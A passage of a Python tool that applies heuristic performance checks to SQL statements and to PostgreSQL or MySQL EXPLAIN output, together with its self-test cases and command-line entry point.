for m in re.finditer(r"([a-z_][\w.]*)\s*[+\-*/]\s*\d+\s*(=|<|>|<=|>=)", filt, re.I):
add("HIGH", "FUNC_ON_COLUMN", n, f"arithmetic on {m.group(1)} in a filter; move it to the other side of the comparison")
for m in re.finditer(r"([a-z_][\w.]*)\s+(not\s+)?(i?like)\s+'S(\d+)'", st, re.I):
pat = lits[int(m.group(4))]
if pat[:1] in ("%", "_"):
add("HIGH", "LEADING_WILDCARD", n, f"{m.group(1)} {m.group(3).upper()} '{pat}' starts with a wildcard, so no B-tree index helps; use full-text search, a trigram index or a reversed column")
if re.search(r"order\s+by\s+(rand|random|newid)\s*\(\s*\)", low):
add("HIGH", "ORDER_BY_RANDOM", n, "ORDER BY random sorts every row; pick random ids or use TABLESAMPLE")
if kind in ("update", "delete") and not where.strip():
add("HIGH", "NO_WHERE_WRITE", n, f"{kind.upper()} without WHERE touches every row; add a WHERE clause or batch it")
if where:
top = where
while re.search(r"\([^()]*\)", top):
top = re.sub(r"\([^()]*\)", " _ ", top)
top = re.sub(r"\bbetween\s+\S+\s+and\b", "between x", top, flags=re.I)
if re.search(r"\band\b", top, re.I) and re.search(r"\bor\b", top, re.I):
add("HIGH", "AND_OR_PRECEDENCE", n, "AND and OR are mixed without parentheses; AND binds first, so 'a AND b OR c' returns every row matching c; add parentheses: a AND (b OR c)")
for group in re.split(r"\band\b", where, flags=re.I):
if not re.search(r"\bor\b", group, re.I):
continue
cols = re.findall(r"([a-z_][\w.]*)\s*(?:=|<>|!=|<|>|\bin\b|\blike\b)", group, re.I)
cols = [c.lower() for c in cols if c.lower() not in KEYWORDS and not re.fullmatch(r"s\d+", c.lower())]
if len(set(cols)) >= 2:
add("MEDIUM", "OR_ACROSS_COLUMNS", n, f"OR across {', '.join(sorted(set(cols)))}: one index cannot serve both sides; split into UNION ALL of indexed queries (or check the plan uses a bitmap OR)")
elif len(cols) >= 2:
add("LOW", "OR_SAME_COLUMN", n, f"repeated OR on {cols[0]}; write {cols[0]} IN (...)")
for m in re.finditer(r"([a-z_][\w.]*)\s*(=|<>|!=|<|>)\s*'S(\d+)'", filt, re.I):
col = m.group(1).split(".")[-1].lower()
if ID_COL.search(col) and re.fullmatch(r"-?\d+(\.\d+)?", lits[int(m.group(3))]):
add("LOW", "QUOTED_NUMBER", n, f"{m.group(1)} compared with the string '{lits[int(m.group(3))]}'; bind it as a number so the driver never sends a text parameter")
for m in re.finditer(r"([a-z_][\w.]*)\s*(=|<>|!=)\s*(\d{3,})\b", filt, re.I):
col = m.group(1).split(".")[-1].lower()
if TEXT_COL.search(col):
add("MEDIUM", "IMPLICIT_CAST", n, f"{m.group(1)} looks like a text column but is compared with the number {m.group(3)}; MySQL then casts every row and skips the index (PostgreSQL raises a type error); quote the value")
if re.search(r"\bnot\s+in\s*\(\s*select\b", low):
add("MEDIUM", "NOT_IN_SUBQUERY", n, "NOT IN (SELECT ...) returns no rows if the subquery yields a NULL and often plans badly; use NOT EXISTS")
m = re.search(r"\boffset\s+(\d+)", low) or re.search(r"\blimit\s+(\d+)\s*,\s*\d+", low)
if m and int(m.group(1)) >= 1000:
add("MEDIUM", "DEEP_OFFSET", n, f"OFFSET {m.group(1)} reads and throws away {m.group(1)} rows; use keyset pagination (WHERE (created_at, id) < (?, ?) ORDER BY ... LIMIT n)")
if re.search(r"count\s*\(\s*(\*|1)\s*\)\s*(>\s*0|>=\s*1)", low):
add("LOW", "COUNT_FOR_EXISTS", n, "COUNT(*) > 0 counts every match; EXISTS stops at the first")
if re.search(r"\bselect\s+distinct\b", low) and re.search(r"\bjoin\b", low):
add("LOW", "DISTINCT_JOIN", n, "DISTINCT on a join often hides duplicate rows from a one-to-many join; use EXISTS or aggregate first")
if indexes is not None:
amap = aliases(st)
seen = set()
for m in re.finditer(r"\b([a-z_]\w*)\.([a-z_]\w*)\s*(?:=|<|>|<=|>=|\bin\b|\bbetween\b)", filt, re.I):
table = amap.get(m.group(1).lower())
col = m.group(2).lower()
if not table or (table, col) in seen:
continue
seen.add((table, col))
if table in indexes and col not in indexes[table]:
add("MEDIUM", "NO_INDEX_FOR_FILTER", n, f"{table}.{col} is filtered or joined but no listed index on {table} starts with it")
for sh, ns in shapes.items():
if len(ns) >= repeat and ("where" in sh):
add("HIGH", "N_PLUS_ONE", ns[0], f"statements {', '.join(map(str, ns))} have the same shape with different values ({len(ns)}x); fetch them in one query with IN (...) or a JOIN")
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["statement"], f["code"]))
shown = [re.sub(r"'S(\d+)'", lambda m: "'" + lits[int(m.group(1))].replace("'", "''") + "'", st) for st in stmts]
return shown, findings
def parse_indexes(text):
idx = defaultdict(set)
for line in text.splitlines():
m = re.match(r"\s*([\w.]+)\s*\(\s*([\w\s,]+)\)", line)
if m:
idx[m.group(1).split(".")[-1].lower()].add(m.group(2).split(",")[0].strip().lower())
return idx
def review_explain(text, large=10000):
findings = []
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "statement": 0, "message": msg})
lines = text.splitlines()
if re.search(r"^\s*(\*+ \d+\. row|select_type:)", text, re.M):
for block in re.split(r"\*+ \d+\. row \*+", text):
f = dict(re.findall(r"^\s*(\w+):\s*(.*?)\s*$", block, re.M))
if not f:
continue
rows = int(f.get("rows", "0") or 0)
if f.get("type") == "ALL" and rows >= large:
add("HIGH", "SEQ_SCAN_LARGE", f"full table scan (type ALL) on {f.get('table')} ~{rows} rows; key={f.get('key', 'NULL')}")
extra = f.get("Extra", "")
if "Using filesort" in extra and "Using temporary" in extra:
add("MEDIUM", "DISK_SORT", f"{f.get('table')}: Using temporary; Using filesort - an index matching GROUP BY/ORDER BY avoids it")
filtered = float(f.get("filtered", "100") or 100)
if rows >= 1000 and filtered <= 10:
add("MEDIUM", "ROWS_REMOVED", f"{f.get('table')}: only {filtered:g}% of {rows} rows pass the filter")
return findings
for i, line in enumerate(lines):
m = re.search(r"(Parallel )?Seq Scan on (\S+).*?rows=(\d+)", line)
if m:
act = re.search(r"actual[^)]*rows=(\d+)", line)
rows = int(act.group(1) if act else m.group(3))
if rows >= large:
add("HIGH", "SEQ_SCAN_LARGE", f"Seq Scan on {m.group(2)} returns ~{rows} rows; an index on the filter columns may help")
m = re.search(r"Rows Removed by Filter:\s*(\d+)", line)
if m:
removed = int(m.group(1))
prev = next((l for l in reversed(lines[:i]) if "actual" in l), "")
k = re.search(r"actual[^)]*rows=(\d+)", prev)
kept = int(k.group(1)) if k else 0
if removed >= 1000 and removed >= 9 * max(kept, 1):
add("MEDIUM", "ROWS_REMOVED", f"filter removed {removed} rows to keep {kept} ({prev.strip()[:60]}...)")
m = re.search(r"cost=[\d.]+\.\.[\d.]+ rows=(\d+).*actual time=[\d.]+\.\.[\d.]+ rows=(\d+) loops=(\d+)", line)
if m:
est, act, loops = int(m.group(1)), int(m.group(2)), int(m.group(3))
if max(est, act) >= 100 and max(est, act) >= 10 * max(min(est, act), 1):
node = line.strip().lstrip("->").strip().split(" ")[0]
add("MEDIUM", "EST_MISMATCH", f"{node[:50]}: estimated {est} rows, actual {act}; run ANALYZE")
if loops >= 1000:
node = line.strip().lstrip("->").strip().split(" ")[0]
add("LOW", "NESTED_LOOP_MANY", f"{node[:50]} runs {loops} loops; check the join index or consider a hash join")
if re.search(r"Sort Method: external merge", line):
add("MEDIUM", "DISK_SORT", "sort spilled to disk (external merge); add an index for ORDER BY or raise work_mem for this query")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return findings
def render(path, stmts, findings):
out = [f"# SQL performance review: {path}", "",
f"{len(stmts)} statement(s); {sum(f['severity'] == 'HIGH' for f in findings)} HIGH, "
f"{sum(f['severity'] == 'MEDIUM' for f in findings)} MEDIUM, {sum(f['severity'] == 'LOW' for f in findings)} LOW", ""]
for n, st in enumerate(stmts, 1):
out.append(f"{n}. {st[:110]}{'...' if len(st) > 110 else ''}")
out += ["", "## Findings"]
if not findings:
out.append("- none (heuristics only: still check the real plan with EXPLAIN ANALYZE)")
for f in findings:
where = f"stmt {f['statement']}" if f["statement"] else "EXPLAIN"
out.append(f"- {f['severity']} {f['code']} ({where}): {f['message']}")
return "\n".join(out)
def self_test():
results = []
def check(name, cond):
results.append(cond)
print(("PASS " if cond else "FAIL ") + name)
def codes(sql, **kw):
return [f["code"] for f in review_sql(sql, **kw)[1]]
check("select star", "SELECT_STAR" in codes("SELECT * FROM users WHERE id = 1"))
check("alias star", "SELECT_STAR" in codes("SELECT o.* FROM orders o WHERE o.id = 1"))
check("explicit columns ok", "SELECT_STAR" not in codes("SELECT id, name FROM users WHERE id = 1"))
check("lower(col) HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM users WHERE LOWER(email) = 'a@b.c'"))
check("year(col) HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM orders WHERE YEAR(created_at) = 2026"))
check("arithmetic HIGH", "FUNC_ON_COLUMN" in codes("SELECT id FROM t WHERE price * 2 > 100"))
check("function on value side ok", "FUNC_ON_COLUMN" not in codes("SELECT id FROM users WHERE email = LOWER('A@B.C')"))
check("leading wildcard", "LEADING_WILDCARD" in codes("SELECT id FROM p WHERE name LIKE '%phone%'"))
check("trailing wildcard ok", "LEADING_WILDCARD" not in codes("SELECT id FROM p WHERE name LIKE 'phone%'"))
check("wildcard inside string literal ignored", "LEADING_WILDCARD" not in codes("SELECT 'x LIKE %y' AS note FROM p WHERE id = 1"))
check("N+1 detected", "N_PLUS_ONE" in codes("SELECT name FROM users WHERE id = 1; SELECT name FROM users WHERE id = 2; SELECT name FROM users WHERE id = 3;"))
check("2 repeats not N+1", "N_PLUS_ONE" not in codes("SELECT name FROM users WHERE id = 1; SELECT name FROM users WHERE id = 2;"))
check("OR across columns", "OR_ACROSS_COLUMNS" in codes("SELECT id FROM u WHERE email = 'a' OR phone = 'b'"))
check("OR same column LOW", "OR_SAME_COLUMN" in codes("SELECT id FROM u WHERE status = 'a' OR status = 'b'"))
check("quoted number LOW", "QUOTED_NUMBER" in codes("SELECT id FROM orders WHERE customer_id = '42'"))
check("implicit cast phone number", "IMPLICIT_CAST" in codes("SELECT id FROM users WHERE phone = 5551234"))
check("number id ok", "QUOTED_NUMBER" not in codes("SELECT id FROM orders WHERE customer_id = 42"))
check("NOT IN subquery", "NOT_IN_SUBQUERY" in codes("SELECT id FROM a WHERE id NOT IN (SELECT a_id FROM b)"))
check("deep offset", "DEEP_OFFSET" in codes("SELECT id FROM a ORDER BY id LIMIT 20 OFFSET 50000"))
check("mysql limit a,b offset", "DEEP_OFFSET" in codes("SELECT id FROM a ORDER BY id LIMIT 20000, 20"))
check("order by rand", "ORDER_BY_RANDOM" in codes("SELECT id FROM a ORDER BY RAND() LIMIT 1"))
check("delete without where", "NO_WHERE_WRITE" in codes("DELETE FROM sessions"))
check("AND/OR precedence HIGH", "AND_OR_PRECEDENCE" in codes("SELECT id FROM o WHERE a = 1 AND b = 2 OR b = 3"))
check("parenthesized OR ok", "AND_OR_PRECEDENCE" not in codes("SELECT id FROM o WHERE a = 1 AND (b = 2 OR b = 3)"))
check("BETWEEN ... AND not an AND", "AND_OR_PRECEDENCE" not in codes("SELECT id FROM o WHERE d BETWEEN 1 AND 5 OR e = 2"))
check("literals restored in output", "'mina'" in review_sql("SELECT id FROM u WHERE name = 'mina'")[0][0])
check("count for exists", "COUNT_FOR_EXISTS" in codes("SELECT CASE WHEN COUNT(*) > 0 THEN 1 END FROM a WHERE b = 1"))
check("distinct join", "DISTINCT_JOIN" in codes("SELECT DISTINCT u.id FROM users u JOIN orders o ON o.user_id = u.id"))
idx = parse_indexes("orders(customer_id, created_at)\nusers(id)")
c = codes("SELECT o.id FROM orders o JOIN users u ON u.id = o.customer_id WHERE o.status = 'paid'", indexes=idx)
check("no index for filter", c.count("NO_INDEX_FOR_FILTER") == 1)
check("comments stripped", codes("-- SELECT * FROM x\nSELECT id FROM users WHERE id = 1") == [])
pg = """Seq Scan on orders (cost=0.00..25000.00 rows=50 width=8) (actual time=0.1..310.2 rows=48210 loops=1)
Filter: (status = 'paid'::text)
Rows Removed by Filter: 951790
Sort Method: external merge Disk: 51200kB"""
e = [f["code"] for f in review_explain(pg)]
check("pg seq scan large", "SEQ_SCAN_LARGE" in e)
check("pg rows removed", "ROWS_REMOVED" in e)
check("pg estimate mismatch", "EST_MISMATCH" in e)
check("pg disk sort", "DISK_SORT" in e)
my = """*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: orders
type: ALL
key: NULL
rows: 980000
filtered: 5.00
Extra: Using where; Using temporary; Using filesort"""
e = [f["code"] for f in review_explain(my)]
check("mysql type ALL", "SEQ_SCAN_LARGE" in e and "DISK_SORT" in e and "ROWS_REMOVED" in e)
try:
review_sql(" -- only a comment\n")
check("empty input rejected", False)
except DataError:
check("empty input rejected", True)
print(f"{sum(results)}/{len(results)} passed")
return 0 if all(results) else 1
def main():
ap = argparse.ArgumentParser(description="SQL query performance reviewer (heuristic)")
ap.add_argument("sql", nargs="?", help=".sql file with one or more statements")
ap.add_argument("--explain", help="EXPLAIN output (PostgreSQL text or MySQL \\G)")
ap.add_argument("--indexes", help="known indexes, one per line: table(col1, col2)")
ap.add_argument("--repeat", type=int, default=3, help="N+1 threshold (default 3)")
ap.add_argument("--large-rows", type=int, default=10000, help="rows for SEQ_SCAN_LARGE (default 10000)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.sql:
ap.error("give a .sql file or --self-test")
try:
with open(a.sql, encoding="utf-8") as fh:
text = fh.read()
idx = None
if a.indexes:
with open(a.indexes, encoding="utf-8") as fh:
idx = parse_indexes(fh.read())
stmts, findings = review_sql(text, a.repeat, idx)
if a.explain:
with open(a.explain, encoding="utf-8") as fh:
findings += review_explain(fh.read(), a.large_rows)
except (OSError, DataError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
if a.json:
print(json.dumps({"statements": stmts, "findings": findings}, indent=2))
else:
print(render(a.sql, stmts, findings))
return 1 if any(f["severity"] == "HIGH" for f in findings) else 0
if __name__ == "__main__":
sys.exit(main())